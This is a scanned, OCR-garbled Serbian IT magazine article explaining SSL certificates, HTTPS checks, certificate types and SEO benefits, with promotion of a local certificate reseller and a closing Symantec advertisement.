na kom korisnici ostavljaju broj bankovnog
racuna ili broj kreditne kartice i $ifru.

U novije vreme primetno je sve cesce

kori$¢enje drustvenih mreZa za postavlja-
nje mamaca preko kojih ljude navode da na
laznim sajtovim ostavljaju podatke, kao $to
su $ifre naloga na drustvenim mreZama, u
nadi da ¢e dobiti neku nagradu.

LAZNA NAGRADNA ANKETA

Zbog laznih sajtova i ,kidnapovanja“
brenda, jako je vazno da kompanije, zarad
oc¢uvanja dobre reputacije, zastite svoje saj-
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tove i istaknu autenti¢nost pravih sajtova.
SSL sertifikati sa prosirenom validacijom
(Extended Validation) na vizuelno efektan
nacin potvrduju identitet sajta, tako $to
pozadina i ime kompanije u browser-u pos-
taju zeleni. EV sertifikati prikazuju detalje
o vlasniku sajta, ¢ime se oteZava varanje
posetilaca. Procedura za izdavanje EV ser-
tifikata je veoma detaljna i rigorozna, pa se
ne moze desiti da nepostoje¢a kompanija
ili kompanija sa lo§om reputacijom dobije
sertifikat, ili da dobije SSL sertifikat za ime
ili domen koji nema pravo da koristi.

Mnoge velike kompanije, uklju¢ujuéi
Twitter i Facebook, dokazuju da su njihovi
sajtovi bezbedni tako §to implementiraju
SSL od login-a do logoff-a (tzv. Always-on
SSL). Ovo znadi da je svaka strana na sajtu
kriptovana, a ne samo strane za kupovi-
nu i strane gde ljudi ostavljaju osetljive
informacije. Prednost Always-on SSL-a je u
tome $to posetioci sajta ve¢ od prvog klika
imaju osecaj sigurnosti, jer je znak bezbe-
dnosti vidljiv na svakoj strani.

o Koristite sertifikate sa proSirenom
validacijom za autentifikaciju vaseg sajta i
uverite korisnike da nisu na phishing sajtu.

STA JE SSL
| KAKO
DOPRINOSI
ZDRAVLJU
WEB
SAJTA?

« Razmislite o implementaciji
Always-on SSL sertifikata koji na vidljiv
nacin uveravaju korisnike da su njihove
aktivnosti na sajtu kriptovane.

ZABRINUTOST KORISNIKA

S obzirom na koli¢inu kriminalnih aktiv-
nosti na Internetu o kojoj svaki dan slusa-
mo, ne ¢udi da su ljudi oprezni kada pose-
¢uju sajtove i $to traze dokaz da su ti sajtovi
bezbedni. Takode, konkurenti mogu odvudi
paznju vasih posetilaca. Ako posetilac oceni
da je sajt vageg konkurenta bezbedniji od
vaseg, moZete pretpostaviti na kom sajtu ¢e
obaviti kupovinu. Postoji vi$e od milijar-
de Web sajtova, i ljudi brzo i lako mogu da
nadu zamenu za vas$ sajt, ako ocene da nije
bezbedan. Prose¢na poseta sajtu traje krace
od jednog minuta i prvih deset sekundi je
kriti¢no. Dakle, uveriti ih da je sajt bezbe-
dan u prvih nekoliko sekundi je jako vazno.
Zig poverenja (Trust mark), kao na
primer Norton Secured Seal ili Thawte Site
Seal i GeoTrust Secured Seal, jeste dinamic-
ka, animirana grafika koja se prikazuje na
Web stranama koje su zasti¢ene SSL ser-
tifikatom i na sajtovima ¢iju autenti¢nost
garantuje neko sertifikaciono telo. Kada
posetilac klikne na zig, otvori se verifi-
kaciona strana koja sadrzi informacije o
organizaciji, detalje o SSL sertifikatu, a na
Norton-ovim zigovima i status skeniranja
malvera. Zigovi pokazuju ljudima da vam
je stalo do bezbednosti. Postoje i Zigovi
(kao npr. Symantec Seal-in-Search) koji se
prikazuju jo$ u rezultatima pretrage pored
linka ka sajtu, tako da se posetilac zabrinut

erovatno ste primetili da neki
V URL-ovi poc¢inju sa http://, a neki
sa https://. Mozda ste zapazili i da
https ¢esto imaju sajtovi na kojima treba
da ostavite osetljive informacije, na primer
sajtovi na kojima placate online ili na koje se
logujete.
Sta je to ,,s“ i zasto ga neki sajtovi imaju,
a neki nemaju?
“S*je u ovom slucaju oznaka za Secure,
a znaci da je veza sa tim sajtom kriptova-
naibezbedna. Iza https stoji tehnologija
Secure Socket Layer, ili skra¢eno SSL.

KOME | ZASTO TREBA SSL?
SSL je tehnologija koja omogucava kripto-
vanu vezu izmedu Web servera i browser-a.
Kriptovana veza obezbeduje da podaci koji
se razmenjuju izmedu servera i browser-a
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za bezbednost ne¢e dvoumiti da li da po-
seti va$ sajt. Zigove obi¢no dobijate uz SSL
sertifikate.

» Prikazite vidljive znakove da je va$
sajt bezbedan, skeniran i od poverenja, ka-
ko na samom sajtu, tako i u pretrazivacu.

IZBOR PRAVOG PARTNERA
Razvoj svesti o opasnostima i upoznava-
nje sa rizicima je prvi korak ka bezbednom
sajtu. Drugi korak trebalo bi da bude izbor
partnera kom ¢emo ovaj odgovoran posao
poveriti. Kao i u svim drugim sferama Zzivo-
taiposlovanja i ovde treba izabrati pouzda-
nog partnera sa izgradenom reputacijom.

Kada su SSL sertifikati u pitanju, na
trzistu postoji veliki broj sertifikacionih
tela (CA) koje nude ovu vrstu usluge. Nisu
sva sertifikaciona tela jednako pouzdana,
pa tako ni njihovi sertifikati i Zigovi nema-
ju jednak kredibilitet.

Medu lidere na trzistu SSL sertifika-
ta spadaju Symantec, Thawte i GeoTrust.
Symantec (nekadasnji VeriSign) nudi
nekoliko vrsta SSL sertifikata koji, osim
vrhinske enkripcije, nude i nesto vise:
procenu ranjivosti i skeniranje malvera na
sajtu. Zbog ovih karakteristika i prepozna-
tljivosti Symantec-a kao brenda u koji ljudi
imaju poverenja, sajtovi kojima je povere-
nje posetilaca od klju¢nog znacaja biraju
Symantec SSL sertifikate. Thawte i GeoTrust
nude jeftinije sertifikate koje nemaju do-
datne karakteristike, ali obezbeduju jaku
enkripciju i pouzdanu autentifikaciju.

ostanu tajni. SSL se koristi za bezbednu ra-
zmenu mejlova, fajlova i informacija u bilo
kojoj formi putem Interneta.

To znaci da podatke koji se razmenjuju
preko bezbedne SSL veze, mogu da proci-
taju samo oni kojima su podaci namenjeni,
dakle bezbedni su od hakera i drugih saj-
ber kriminalaca. Kada posetite sajt koji je
ima SSL, vas$ browser e se povezati sa Web
serverom na kom je sajt, pogledace SSL
sertifikat i nastavi¢e komunikaciju kroz
bezbedan kanal.

SSL sertifikat je u ovom procesu kao
vozacka ili saobrac¢ajna dozvola sajta, na
kojoj pise ko je vlasnik sajta i ko mu je
izdao dozvolu. SSL sertifikate, kao i li¢cna
dokumenta, izdaju nezavisna tela, koja se
zovu Certificate Authority, ili kako ih mi
prevodimo, Sertifikaciona tela.

IT KLINIKA
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KAKO CETE ZNATI

DA LI SAJT IMA SSL?

Mozete proveriti vrlo lako, prakti¢no

u tri koraka:

1. Pogledaijte da li URL ima ,,https://
To izgleda ovako:

8 Met++ technology doo Beograd [RS] https://vwy

2. Kliknite na ikonicu katanca
Osim https://, bezbedni sajtovi imaju i iko-
nu katanca ispred adrese.

Kad kliknete na katanac ispred URL-a,
videce viSe detalja o sajtu i videcete koje
sertifikaciono telo je izdalo sertifikat.

3. Proverite da li je sertifikat vazeci
Neki browser-i ¢e vas upozoriti pre nego
$to dodete na stranicu da je sertifikat iste-
kao, ali neki nece. Da biste bili sigurni da
je sajt bezbedan, kada kliknete na katanac
procitajte i informacije o sertifikatu.

U novom prozor¢ic¢u videcete Period
vazenja (Period of Validity) sertifikata. Ako
je sertifikat istekao, znaci da sajt vise nema
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garancije da je bezbedan, pa dobro razmi-
slite o tome da li ¢ete nastaviti dalje.

DA LI JE SSL DOBAR ZA SEO?
Dobra vest, jeste! Iako mu je primarna
funkcija da zastiti informacije, SSL je dobar
iza SEO.

HTTPS SIGNAL

ZA POZICIONIRANJE
Bezbednost korisnika je glavni prioritet
najpopularnijeg Search Engine-a na svetu,
zbog ¢ega za sve svoje servise Google ko-
risti HTTPS enkripciju. Ipak Google se ne
zaustavlja tu, ve¢ Zeli da korisnici ostanu
bezbedni i na sajtovima kojima pristupaju
preko njega. Da bi podstakao da $to veci
broj sajtova usvoji SSL protokol, Google fa-
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vorizuje, odnosno bolje pozicionira sajtove
koji imaju HTTPS na svim svojim stra-
nama, a znamo da bolji rang znacii vise
saobracaja ka sajtu.

Zbog toga SSL je postao deo Google-
-ovog algoritma za rangiranje u rezultati-
ma pretrage.

KAKO DO SSL-A?
Ako mislite da je i vasem sajtu potreban
SSL, treba da nabavite SSL sertifikat.

SSL sertifikate izdaju Sertifikaciona
tela, ali nisu sva Sertifikaciona tela ista, pa
treba razmisliti ¢iji sertifikat kupujete.

Svako Sertifikacino telo je brend, pa
kao $to je slucaj i sa drugim brendovima,
tako i medu SSL brendovima ima razlika.
Najvaznije razlike su u reputaciji, a time i
pouzdanosti sertifikata. Razlike se naravno
ogledajuiu ceni.

VRSTE SSL SERTIFIKATA

Kada se odlucite za brend, treba da razmi-
slite (ili se posavetujte sa stru¢njacima)
koja vrsta sertifikata vam treba. Vrstu serti-
fikata odreduje pre svega namena sajta.

Ako se radi o sajtu banke ili online pro-
davnici, preporucuju se takozvani Exten-
ded Validation ili Zeleni SSL sertifikati. Oni
se razlikuju od drugih sertifikata po boji u
browser-u. Kada sajt ima ovakav sertifikat,
naziv sajta e biti obojen zelenom bojom.
Sertifikaciono telo koje izdaje EV sertifikat
daje najviSe moguce garancije da je ovaj
sajt bezbedan i da nije lazan.

Za sajtove preko kojih se razmenjuju
manje osetljivi podaci, ili na koje se kori-
snici prijavljuju (log-in), preporucuju se
Standardni sertifikati. Adresa sajta sa stan-
dardnim SSL sertifikatom nije zelena, ali
kada se klikne na ikonu, vidi se ko je vlasnik
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sajta. Garancije za ove sajtove su visoke.

Ako vam treba SSL sertifikat za zastitu
interne komunikacije, na primer za razme-
nu mejlova, onda su dovoljni Osnovni SSL
sertifikati. Ovde je veza kriptovana kao i
kod ostalih sertifikata; razlika je u tome $to
ne pise ko je vlasnik sajta.

SSL sertifikati obi¢no vaze za jedan
domen (na primer mojdomen.com), ali
postoje i izuzeci:

Wildcard sertifikati, gde jedan sertifikat
vazi za domen i sve njegove poddomene
(na primer mail. mojdomen.com, blog.moj-
domen.com, login.mojdomen.com itd.)

SAN/UC sertifikati, koji su zapravo
dodaci za SSL sertifikate, pomocu kojih
jedan sertifikat vazi za vi$e potpuno razli-
¢itih domena (na primer mojdomen.com,
mojdomen.rs, info.mojdomen.net).

KAKO KUPITI SSL SERTIFIKAT?
SSL sertifikate mozZete da kupite direktno
od proizvodaca, tj. Sertifikacionih tela, ili
na partnerskim sajtovima od ovlagéenih
prodavaca. Jedan takav partnerski sajt je
Net++ technology SSL Online prodavnica.
Net++ technology ve¢ godinama prodaje
SSL sertifikate, a nedavno su pokrenuli i
novi sajt, www.ssl.co.rs, koji je namenjen
iskljucivo SSL sertifikatima.

Sajt nudi sve vrste SSL sertifikate od tri
SSL brenda: Symantec, Thawte i GeoTrust.

Glavne prednosti kupovine na ovom
sajtu u odnosu na sajtove proizvodaca je u
tome §to:
o Mozete da kupite iste sertifikate, po is-
toj ceni, ali ne morate da placate devizama.
o Najednom mestu mozete da kupite i
uporedite SSL sertifikate tri razli¢ita brenda.
« Imate na raspolaganju korisni¢ku i te-
hni¢ku podrsku na srpskom, §to ¢e vam po-
moc¢i da dobijete sertifikat brze i lakse nego
kad biste direktno kupovali od proizvodaca.

Osim $to mozete da kupujete SSL ser-
tifikate, na ovom sajtu mozete da nadete
dosta korisnih informacija, alate i uputstva
za SSL sertifikate.

lzvor:
Google Webmaster
Central Blog

GeoTrust  Comodo

Trustwave



Vasi kupci veruju vama.

Kome vi verujete?

Hakeri, Spijuni i kradljivci pokusace na sve nacine da se domognu podataka sa vadeg sajta i da ga obore.
Zato su Symantec Website Security reSenja naoruzana mocnim funkcijama koje Stite sajt bolje nego samo
obi¢an SSL. Pored SSL enkripcije koja je vodeca u industriji, sa Symantec Website Security reSenjima
dobijate i anti-Malware skeniranje sajta, vidljiv Seal-in-Search, ocenu ranjivosti i nesavladivu proSirenu
validaciju. Symantecu mozete poveriti bezbednost vaseg sajta i vasih kupaca.

Uspostavite kontrolu nad svojim sajtom pre nego 5to to neko drugi ucini.
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